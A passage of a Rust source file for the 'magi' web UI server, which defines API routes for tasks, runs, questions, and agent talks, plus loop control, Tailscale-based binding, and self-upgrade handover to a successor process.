1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128pub const DEFAULT_PORT: u16 = 7878;
130
131const POLL: Duration = Duration::from_secs(1);
133
134const KEEPALIVE: Duration = Duration::from_secs(15);
138
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155const LIST_DEFAULT: usize = 50;
159const LIST_MAX: usize = 500;
161
162const TITLE_MAX: usize = 72;
164
165const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182const FILENAME_HEADER: &str = "x-filename";
186
187const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210 font-src data:; base-uri 'none'; form-action 'none'; \
211 frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220 Auto,
222 Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227 type Err = String;
228
229 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233 if s.eq_ignore_ascii_case("auto") {
234 return Ok(Self::Auto);
235 }
236 s.parse()
237 .map(Self::Addr)
238 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239 }
240}
241
242impl std::fmt::Display for Bind {
243 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244 match self {
245 Self::Auto => f.write_str("auto"),
246 Self::Addr(addr) => write!(f, "{addr}"),
247 }
248 }
249}
250
251#[derive(Debug, Clone)]
253pub struct Opts {
254 pub bind: Bind,
256 pub port: u16,
258 pub repo: PathBuf,
260 pub open: bool,
263 pub merge: Option<String>,
271}
272
273impl Default for Opts {
274 fn default() -> Self {
275 Self {
276 bind: Bind::Auto,
277 port: DEFAULT_PORT,
278 repo: PathBuf::from("."),
279 open: false,
280 merge: None,
281 }
282 }
283}
284
285#[derive(Debug, Clone)]
291pub struct Ui {
292 queue: Queue,
293 questions: Questions,
294 notices: Notices,
297 talks: Talks,
298 runs: PathBuf,
299 home: PathBuf,
300 repo: PathBuf,
301 worktrees_root: PathBuf,
308 talk_turns: Arc<Mutex<TalkTurns>>,
316 resuming: Arc<Mutex<HashSet<String>>>,
324 repos_cache: repos::Cache,
328 machine_config: Option<PathBuf>,
332 merge: Option<String>,
334 looping: Arc<Mutex<LoopState>>,
336 launch: Launch,
348 #[cfg(test)]
351 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354#[cfg(test)]
374struct BusyQueueGate {
375 reached: tokio::sync::oneshot::Sender<()>,
376 release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383 }
384}
385
386impl Ui {
387 pub fn new(
389 queue: Queue,
390 questions: Questions,
391 talks: Talks,
392 runs: PathBuf,
393 home: PathBuf,
394 repo: PathBuf,
395 ) -> Self {
396 Self {
397 queue,
398 questions,
399 notices: Notices::at(home.join("notifications")),
400 talks,
401 runs,
402 home,
403 repo,
404 worktrees_root: run::default_worktree_root(),
408 talk_turns: Arc::default(),
409 resuming: Arc::default(),
410 repos_cache: repos::Cache::new(),
411 machine_config: Config::machine_layer(),
412 merge: None,
413 looping: Arc::default(),
414 launch: launch_daemon,
415 #[cfg(test)]
416 busy_queue_gate: Arc::default(),
417 }
418 }
419
420 pub fn open(repo: PathBuf) -> Self {
423 Self::new(
424 Queue::open(),
425 Questions::open(),
426 Talks::open(),
427 run::runs_root(),
428 run::home(),
429 repo,
430 )
431 }
432
433 #[must_use]
440 pub fn with_merge(mut self, merge: Option<String>) -> Self {
441 self.merge = merge;
442 self
443 }
444
445 #[cfg(test)]
448 #[must_use]
449 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450 self.machine_config = path;
451 self
452 }
453
454 #[must_use]
459 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460 self.worktrees_root = root;
461 self
462 }
463
464 #[cfg(test)]
469 #[must_use]
470 fn with_launch(mut self, launch: Launch) -> Self {
471 self.launch = launch;
472 self
473 }
474
475 #[cfg(test)]
485 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486 *self
487 .busy_queue_gate
488 .lock()
489 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490 }
491
492 fn looping(&self) -> Arc<Mutex<LoopState>> {
494 Arc::clone(&self.looping)
495 }
496
497 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504 if let Some(other) = foreign {
505 return Err(ApiError::conflict(format!(
506 "{} is already running the loop, so this one will not start a \
507 second: two loops on one queue race for the same claims and \
508 burn the agent quota twice over. Stop it where it was \
509 started.",
510 other.who()
511 )));
512 }
513 let mut state = self.lock_loop();
514 if state.live.as_ref().is_some_and(Live::alive) {
515 return Err(ApiError::conflict(format!(
516 "this magi web process (pid {}) is already running the loop",
517 std::process::id()
518 )));
519 }
520
521 let stop = daemon::Stop::new();
522 let opts = daemon::Opts {
526 repo: self.repo.clone(),
527 merge: self.merge.clone(),
528 worktrees_root: Some(self.worktrees_root.clone()),
535 ..daemon::Opts::default()
536 };
537 let launch = self.launch;
538 let looping = Arc::clone(&self.looping);
539 let handle = tokio::spawn({
540 let opts = opts.clone();
541 let stop = stop.clone();
542 async move {
543 let failure = match launch(opts, stop).await {
544 Ok(()) => None,
545 Err(e) => Some(format!("{e:#}")),
546 };
547 match &failure {
548 Some(why) => tracing::error!("the loop stopped: {why}"),
549 None => tracing::info!("the loop stopped"),
550 }
551 let mut state = lock_or_recover(&looping);
557 state.live = None;
558 state.last_error = failure;
559 state.rev += 1;
560 }
561 });
562 tracing::info!(
563 "the loop is now running in this process: repo {}, merge {}",
564 opts.repo.display(),
565 opts.merge.as_deref().unwrap_or("as the config says")
566 );
567 state.live = Some(Live { stop, handle, opts });
568 state.last_error = None;
571 state.rev += 1;
572 Ok(())
573 }
574
575 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581 if let Some(other) = foreign {
582 return Err(ApiError::conflict(format!(
583 "the loop belongs to {}, and this process cannot stop it - \
584 stop it where it was started. A button that silently did \
585 nothing would be worse than this refusal.",
586 other.who()
587 )));
588 }
589 let mut state = self.lock_loop();
590 if !park {
593 state.resume_after_handover = false;
594 }
595 let Some(live) = state.live.as_ref() else {
596 return Ok(());
597 };
598 if live.stop.stopped() && (!park || live.stop.parking()) {
602 return Ok(());
603 }
604 if park {
605 live.stop.park();
606 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607 } else {
608 live.stop.stop();
609 tracing::info!("the loop was asked to stop; a run in flight is finished first");
610 }
611 state.rev += 1;
612 Ok(())
613 }
614
615 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622 let state = self.lock_loop();
623 let live = state.live.as_ref().filter(|live| live.alive());
626 LoopView {
627 running: live.is_some(),
628 stopping: live.is_some_and(|live| live.stop.finishing()),
629 parking: live.is_some_and(|live| live.stop.parking()),
630 owned: live.is_some(),
631 repo: live
632 .map_or(&self.repo, |live| &live.opts.repo)
633 .display()
634 .to_string(),
635 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636 last_error: state.last_error.clone(),
637 daemon: DaemonView::of(reading),
638 }
639 }
640
641 fn resume_after_handover(&self, resume: bool) -> bool {
647 if !resume {
648 return false;
649 }
650 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651 match self.start_loop(foreign) {
652 Ok(()) => true,
653 Err(e) => {
654 let why = format!(
655 "the loop could not be resumed after the upgrade: {}",
656 e.message
657 );
658 tracing::warn!("{why}");
659 let mut state = self.lock_loop();
660 state.last_error = Some(why);
661 state.rev += 1;
662 false
663 }
664 }
665 }
666
667 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669 lock_or_recover(&self.looping)
670 }
671
672 fn is_thinking(&self, id: &str) -> bool {
678 self.talk_turns
679 .lock()
680 .is_ok_and(|turns| turns.live.contains(id))
681 }
682
683 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702 self.claim_talk_turn(id, false)
703 }
704
705 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708 self.claim_talk_turn(id, true)
709 }
710
711 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712 let mut live = self
713 .talk_turns
714 .lock()
715 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716 if !live.live.insert(id.to_owned()) {
717 if queued {
718 *live.queued.entry(id.to_owned()).or_default() += 1;
723 }
724 return Ok(None);
725 }
726 Ok(Some(TalkTurnGuard {
727 talk: id.to_owned(),
728 turns: Arc::clone(&self.talk_turns),
729 released: false,
730 }))
731 }
732
733 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738 let mut live = self
739 .talk_turns
740 .lock()
741 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742 if live.live.contains(id) {
743 return Ok(TalkTurnStart::Busy);
744 }
745 let talk = self.talks.get(id).map_err(ApiError::from)?;
746 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747 return Ok(TalkTurnStart::Pending);
748 }
749 live.live.insert(id.to_owned());
750 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751 talk: id.to_owned(),
752 turns: Arc::clone(&self.talk_turns),
753 released: false,
754 }))
755 }
756
757 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764 let parking = {
765 let mut state = self.lock_loop();
766 let resume = state.resume_after_handover
776 || state
777 .live
778 .as_ref()
779 .is_some_and(|live| live.alive() && !live.stop.stopped());
780 state.resume_after_handover = resume;
781 let Some(live) = state.live.as_ref() else {
782 return Ok(None);
783 };
784 let busy = live.stop.busy_now();
785 live.stop.park();
786 state.rev += 1;
787 busy
788 };
789 Ok(if parking {
790 daemon::current_work(&self.home, jiff::Timestamp::now())
795 .into_iter()
796 .next()
797 .map(|c| c.run)
798 } else {
799 None
800 })
801 }
802
803 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807 let mut live = self
808 .resuming
809 .lock()
810 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811 if !live.insert(id.to_owned()) {
812 return Err(ApiError::conflict(format!(
813 "run {id} is already being resumed"
814 )));
815 }
816 Ok(ResumeGuard {
817 run: id.to_owned(),
818 resuming: Arc::clone(&self.resuming),
819 })
820 }
821
822 pub fn router(self) -> Router {
830 Router::new()
831 .route("/", get(index))
832 .route("/app.css", get(app_css))
833 .route("/app.js", get(app_js))
834 .route("/api/health", get(health))
835 .route("/api/loop", get(loop_get).post(loop_post))
836 .route("/api/upgrade", post(upgrade_post))
837 .route("/api/runs", get(runs_list))
838 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839 .route("/api/runs/{id}/report", get(run_report))
840 .route("/api/runs/{id}/report.json", get(run_report_json))
841 .route("/api/runs/{id}/fold", post(run_fold))
842 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
843 .route("/api/runs/{id}/resume", post(run_resume))
844 .route("/api/queue", get(queue_list))
845 .route("/api/search", get(search_get))
846 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
847 .route("/api/stats", get(stats_get))
848 .route("/api/repos", get(repos_list))
849 .route("/api/settings", get(settings_get))
850 .route("/api/settings/roles", put(settings_put_roles))
851 .route("/api/queue/{id}/hold", post(queue_hold))
852 .route("/api/queue/{id}/release", post(queue_release))
853 .route("/api/queue/{id}/priority", post(queue_priority))
854 .route("/api/queue/{id}/edit", post(queue_edit))
855 .route("/api/queue/{id}/done", post(queue_done))
856 .route("/api/questions", get(questions_list))
857 .route("/api/questions/{id}/answer", post(question_answer))
858 .route("/api/questions/{id}/say", post(question_say))
859 .route("/api/questions/{id}/panel", get(question_panel))
860 .route("/api/questions/{id}/panel/index.html", get(question_panel))
868 .route("/api/questions/{id}/panel/{name}", get(question_asset))
869 .route("/api/questions/{id}/asset/{name}", get(question_asset))
870 .route("/api/notifications", get(notifications_list))
871 .route("/api/notifications/read-all", post(notifications_read_all))
872 .route("/api/notifications/{id}/read", post(notification_read))
873 .route(
874 "/api/notifications/{id}/dismiss",
875 post(notification_dismiss),
876 )
877 .route("/api/talks", get(talks_list).post(talk_post))
878 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
879 .route("/api/talks/{id}/say", post(talk_say))
880 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
881 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
882 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
883 .route("/api/talks/{id}/agent", post(talk_agent))
884 .route("/api/talks/{id}/close", post(talk_close))
885 .route("/api/talks/{id}/reopen", post(talk_reopen))
886 .route(
892 "/api/talks/{id}/attachments",
893 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
894 )
895 .route(
896 "/api/talks/{id}/attachments/{att}",
897 get(talk_attachment_get),
898 )
899 .route("/api/events", get(events))
900 .with_state(Arc::new(self))
901 }
902}
903
904#[derive(Debug)]
910struct TalkTurnGuard {
911 talk: String,
912 turns: Arc<Mutex<TalkTurns>>,
913 released: bool,
914}
915
916#[derive(Debug, Default)]
923struct TalkTurns {
924 live: HashSet<String>,
925 queued: HashMap<String, u64>,
926}
927
928enum TalkTurnStart {
931 Claimed(TalkTurnGuard),
932 Busy,
933 Pending,
934}
935
936impl TalkTurnGuard {
937 fn release(mut self, live: &mut TalkTurns) {
940 live.live.remove(&self.talk);
941 live.queued.remove(&self.talk);
942 self.released = true;
943 }
944}
945
946impl Drop for TalkTurnGuard {
947 fn drop(&mut self) {
948 if self.released {
949 return;
950 }
951 if let Ok(mut live) = self.turns.lock() {
952 live.live.remove(&self.talk);
953 live.queued.remove(&self.talk);
954 }
955 }
956}
957
958struct ResumeGuard {
960 run: String,
961 resuming: Arc<Mutex<HashSet<String>>>,
962}
963
964impl Drop for ResumeGuard {
965 fn drop(&mut self) {
966 if let Ok(mut live) = self.resuming.lock() {
967 live.remove(&self.run);
968 }
969 }
970}
971
972async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
982 const WINDOW: Duration = Duration::from_secs(10);
983 const GAP: Duration = Duration::from_millis(250);
984
985 let deadline = std::time::Instant::now() + WINDOW;
986 let mut said = false;
987 loop {
988 match tokio::net::TcpListener::bind(socket).await {
989 Ok(listener) => return Ok(listener),
990 Err(e)
991 if e.kind() == std::io::ErrorKind::AddrInUse
992 && std::time::Instant::now() < deadline =>
993 {
994 if !said {
995 said = true;
996 tracing::info!(
997 "{socket} is still held - waiting up to {}s for it, \
998 which is what a restart looks like from here",
999 WINDOW.as_secs()
1000 );
1001 }
1002 tokio::time::sleep(GAP).await;
1003 }
1004 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1005 }
1006 }
1007}
1008
1009static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1012
1013const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1015
1016fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1018 value.is_some_and(|v| v == "1")
1019}
1020
1021fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1044 let exe = std::env::current_exe().context("find this binary")?;
1045 let args: Vec<String> = std::env::args().skip(1).collect();
1046 updater::log_step(
1047 home,
1048 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1049 );
1050 let log_path = home.join(WEB_LOG);
1051 let open_log = || {
1052 std::fs::create_dir_all(home)?;
1053 std::fs::OpenOptions::new()
1054 .create(true)
1055 .append(true)
1056 .open(&log_path)
1057 };
1058 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1059 Ok(pair) => (
1060 std::process::Stdio::from(pair.0),
1061 std::process::Stdio::from(pair.1),
1062 ),
1063 Err(e) => {
1064 updater::log_warn(
1065 home,
1066 &format!(
1067 "could not open {}: {e}; the successor logs nowhere",
1068 log_path.display()
1069 ),
1070 );
1071 (std::process::Stdio::null(), std::process::Stdio::null())
1072 }
1073 };
1074
1075 let mut cmd = std::process::Command::new(&exe);
1076 if resume {
1077 cmd.env(RESUME_LOOP_ENV, "1");
1078 } else {
1079 cmd.env_remove(RESUME_LOOP_ENV);
1080 }
1081 cmd.args(&args)
1082 .stdin(std::process::Stdio::null())
1083 .stdout(out)
1084 .stderr(err);
1085 #[cfg(windows)]
1086 {
1087 use std::os::windows::process::CommandExt as _;
1088 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1091 }
1092 let child = cmd.spawn().context("start the successor")?;
1093 Ok(child.id())
1094}
1095
1096const WEB_LOG: &str = "web.log";
1098
1099async fn wait_for_handover(signal: &Notify) {
1103 signal.notified().await;
1104}
1105
1106pub async fn serve(opts: Opts) -> Result<()> {
1131 let (addr, warning) = resolve_bind(&opts.bind);
1132 if let Some(warning) = warning {
1133 tracing::warn!("{warning}");
1134 }
1135
1136 report::set_color(false);
1142
1143 let repo = normalize_default_repo(opts.repo).await;
1144 let ui = Ui::open(repo).with_merge(opts.merge);
1145 let home = ui.home.clone();
1150 let repo = ui.repo.clone();
1151 updater::reconcile_after_restart(&home);
1156 updater::log_step(
1157 &home,
1158 &format!(
1159 "web process started (version {}); handover log {}, successor output {}",
1160 env!("CARGO_PKG_VERSION"),
1161 updater::log_path(&home).display(),
1162 home.join(WEB_LOG).display()
1163 ),
1164 );
1165 updater::spawn_watchdog(home.clone());
1166 tokio::spawn(run_update_recheck(repo, home.clone()));
1175 let looping = ui.looping();
1176 let socket = SocketAddr::new(addr, opts.port);
1177 let listener = bind_waiting(socket).await?;
1178 let url = format!("http://{addr}:{}", opts.port);
1179 tracing::info!(
1180 "magi web UI on {url} - there is no authentication, so anyone who can \
1181 reach this address can file and hold tasks: the tailnet is the \
1182 security boundary"
1183 );
1184 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1185 tracing::info!("resumed the loop the predecessor was running");
1186 } else {
1187 tracing::info!(
1188 "the queue loop is not running yet - start it from the UI, which is \
1189 the whole reason this process can: nothing in the queue moves until \
1190 something is running the loop"
1191 );
1192 }
1193 if opts.open {
1194 println!("{url}");
1198 }
1199
1200 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1203 let interrupted = async {
1204 if tokio::signal::ctrl_c().await.is_err() {
1205 std::future::pending::<()>().await;
1210 }
1211 };
1212 let handover = wait_for_handover(&HANDOVER);
1213 let outcome = tokio::select! {
1214 joined = &mut served => match joined {
1215 Ok(outcome) => outcome.context("serve the web UI"),
1216 Err(e) => Err(e).context("the task serving the web UI ended"),
1217 },
1218 () = interrupted => {
1219 tracing::info!("shutting down the web UI");
1220 finish_loop(&home, &looping).await;
1221 Ok(())
1222 }
1223 () = handover => {
1224 updater::log_step(&home, "serve: the select! woke on the handover signal");
1225 let successor_home = home.clone();
1226 hand_over(&home, &looping, served, move |resume| {
1227 spawn_successor(&successor_home, resume)
1228 })
1229 .await
1230 }
1231 };
1232 updater::log_step(
1233 &home,
1234 &match &outcome {
1235 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1236 Err(e) => format!("serve: returning an error: {e:#}"),
1237 },
1238 );
1239 outcome
1240}
1241
1242async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1263 if repo != FsPath::new(".") {
1264 return repo;
1265 }
1266 let Ok(canonical) = repo.canonicalize() else {
1267 return repo;
1268 };
1269 if git::toplevel(&canonical).await.is_ok() {
1270 return repo;
1271 }
1272 let Some(home) = dirs::home_dir() else {
1273 return repo;
1274 };
1275 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1276 Some(found) => {
1277 tracing::info!(
1278 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1279 canonical.display(),
1280 found.path.display(),
1281 found.reason,
1282 );
1283 found.path
1284 }
1285 None => repo,
1286 }
1287}
1288
1289async fn hand_over(
1319 home: &FsPath,
1320 looping: &Mutex<LoopState>,
1321 served: tokio::task::JoinHandle<std::io::Result<()>>,
1322 successor: impl FnOnce(bool) -> Result<u32>,
1323) -> Result<()> {
1324 updater::log_step(home, "hand_over: entered; writing the parking stage");
1325 match updater::read_progress(home) {
1326 Some(mut progress) => {
1327 progress.advance(updater::Stage::Parking);
1328 updater::write_progress_logged(home, &progress);
1329 }
1330 None => updater::log_warn(
1331 home,
1332 "hand_over: upgrade.json is unreadable; no parking stage",
1333 ),
1334 }
1335 finish_loop(home, looping).await;
1336 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1337 served.abort();
1338 let _ = served.await;
1339 updater::log_step(home, "hand_over: listener released");
1340 let resume = lock_or_recover(looping).resume_after_handover;
1343 match updater::read_progress(home) {
1344 Some(mut progress) => {
1345 progress.advance(updater::Stage::Restarting);
1346 updater::write_progress_logged(home, &progress);
1347 }
1348 None => updater::log_warn(
1349 home,
1350 "hand_over: upgrade.json is unreadable; no restarting stage",
1351 ),
1352 }
1353 updater::log_step(
1354 home,
1355 &format!("hand_over: starting the successor (resume={resume})"),
1356 );
1357 match successor(resume) {
1358 Ok(pid) => {
1359 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1360 Ok(())
1361 }
1362 Err(e) => {
1363 updater::log_warn(
1364 home,
1365 &format!("hand_over: the successor did not start: {e:#}"),
1366 );
1367 Err(e)
1368 }
1369 }
1370}
1371
1372async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1379 let live = lock_or_recover(state).live.take();
1380 let Some(live) = live else {
1381 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1382 return;
1383 };
1384 live.stop.stop();
1385 lock_or_recover(state).rev += 1;
1386 updater::log_step(
1387 home,
1388 "finish_loop: waiting for the loop to finish the run in flight",
1389 );
1390 let waited = std::time::Instant::now();
1391 let _ = live.handle.await;
1394 updater::log_step(
1395 home,
1396 &format!(
1397 "finish_loop: the loop ended after {:.1}s",
1398 waited.elapsed().as_secs_f32()
1399 ),
1400 );
1401}
1402
1403pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1409 match bind {
1410 Bind::Addr(addr) => (*addr, None),
1411 Bind::Auto => match tailscale_ip() {
1412 Ok(ip) => (IpAddr::V4(ip), None),
1413 Err(why) => (
1414 IpAddr::V4(Ipv4Addr::LOCALHOST),
1415 Some(format!(
1416 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1417 local-only and a phone cannot reach it; start Tailscale \
1418 or pass --bind <addr>"
1419 )),
1420 ),
1421 },
1422 }
1423}
1424
1425fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1433 let out = std::process::Command::new("tailscale")
1434 .args(["ip", "-4"])
1435 .quiet()
1436 .output()
1437 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1438 if !out.status.success() {
1439 let why = String::from_utf8_lossy(&out.stderr);
1440 let why = why.trim();
1441 return Err(format!(
1442 "`tailscale ip -4` failed ({}){}",
1443 out.status,
1444 if why.is_empty() {
1445 String::new()
1446 } else {
1447 format!(": {why}")
1448 }
1449 ));
1450 }
1451 String::from_utf8_lossy(&out.stdout)
1452 .lines()
1453 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1454 .find(is_tailnet)
1455 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1456}
1457
1458fn is_tailnet(ip: &Ipv4Addr) -> bool {
1460 let o = ip.octets();
1461 o[0] == 100 && (64..=127).contains(&o[1])
1462}
1463
1464type ApiResult<T> = std::result::Result<T, ApiError>;
1468
1469#[derive(Debug)]
1471struct ApiError {
1472 status: StatusCode,
1473 message: String,
1474}
1475
1476impl ApiError {
1477 fn bad_request(message: impl Into<String>) -> Self {
1479 Self {
1480 status: StatusCode::BAD_REQUEST,
1481 message: message.into(),
1482 }
1483 }
1484
1485 fn not_found(message: impl Into<String>) -> Self {
1487 Self {
1488 status: StatusCode::NOT_FOUND,
1489 message: message.into(),
1490 }
1491 }
1492
1493 fn with_status(mut self, status: StatusCode) -> Self {
1496 self.status = status;
1497 self
1498 }
1499
1500 fn bad_request_from(e: anyhow::Error) -> Self {
1504 Self::bad_request(format!("{e:#}"))
1505 }
1506
1507 fn conflict(message: impl Into<String>) -> Self {
1508 Self {
1509 status: StatusCode::CONFLICT,
1510 message: message.into(),
1511 }
1512 }
1513
1514 fn internal(message: impl Into<String>) -> Self {
1516 Self {
1517 status: StatusCode::INTERNAL_SERVER_ERROR,
1518 message: message.into(),
1519 }
1520 }
1521}
1522
1523impl From<anyhow::Error> for ApiError {
1524 fn from(e: anyhow::Error) -> Self {
1529 Self::internal(format!("{e:#}"))
1530 }
1531}
1532
1533impl IntoResponse for ApiError {
1534 fn into_response(self) -> Response {
1535 let body = serde_json::json!({ "error": self.message });
1536 (self.status, Json(body)).into_response()
1537 }
1538}
1539
1540async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1549where
1550 T: Send + 'static,
1551{
1552 match tokio::task::spawn_blocking(job).await {
1553 Ok(result) => result,
1554 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1555 }
1556}
1557
1558const ASSET_CACHE: &str = "no-cache, must-revalidate";
1576
1577fn asset_etag() -> &'static str {
1584 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1585 format!(
1586 "\"{}-{}\"",
1587 env!("CARGO_PKG_VERSION"),
1588 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1593 )
1594 });
1595 &TAG
1596}
1597
1598fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1600 [
1601 (header::CONTENT_TYPE, mime),
1602 (header::CACHE_CONTROL, ASSET_CACHE),
1603 (header::ETAG, asset_etag()),
1604 ]
1605}
1606
1607fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1615 let tag = asset_etag();
1616 let known = headers
1617 .get(header::IF_NONE_MATCH)
1618 .and_then(|v| v.to_str().ok())
1619 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1623 if known {
1624 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1625 }
1626 (asset_headers(mime), body).into_response()
1627}
1628
1629async fn index(headers: header::HeaderMap) -> Response {
1630 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1631}
1632
1633async fn app_css(headers: header::HeaderMap) -> Response {
1634 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1635}
1636
1637async fn app_js(headers: header::HeaderMap) -> Response {
1638 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1639}
1640
1641#[derive(Debug, Serialize)]
1643struct HealthView {
1644 version: &'static str,
1645 home: String,
1646 queue_rev: u64,
1647 runs_rev: u64,
1648 questions_rev: u64,
1660 talks_rev: u64,
1662 notifications_rev: u64,
1664 notifications_unread: usize,
1667 loop_rev: u64,
1672 runs_unreadable: usize,
1680 disk: DiskView,
1688 questions_open: usize,
1694 questions_needs_owner: usize,
1704 daemon: DaemonView,
1705 #[serde(rename = "loop")]
1711 looping: LoopView,
1712 update: UpdateView,
1719 upgrade: Option<UpgradeProgressView>,
1723}
1724
1725#[derive(Debug, Serialize)]
1732struct UpdateView {
1733 available: bool,
1735 to: Option<String>,
1737}
1738
1739#[derive(Debug, Serialize)]
1741struct UpgradeProgressView {
1742 stage: updater::Stage,
1743 from: String,
1744 to: Option<String>,
1745 waiting_on: Option<String>,
1748 started_at: Timestamp,
1749 updated_at: Timestamp,
1750 detail: Option<String>,
1751 stuck_for_secs: Option<i64>,
1754}
1755
1756fn should_spawn_recheck(cfg: &Update) -> bool {
1763 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1764}
1765
1766fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1778 if progress.is_some_and(|p| !p.stage.terminal()) {
1779 return false;
1780 }
1781 checker.should_check()
1782}
1783
1784fn recheck_poll_period(cfg: &Update) -> Duration {
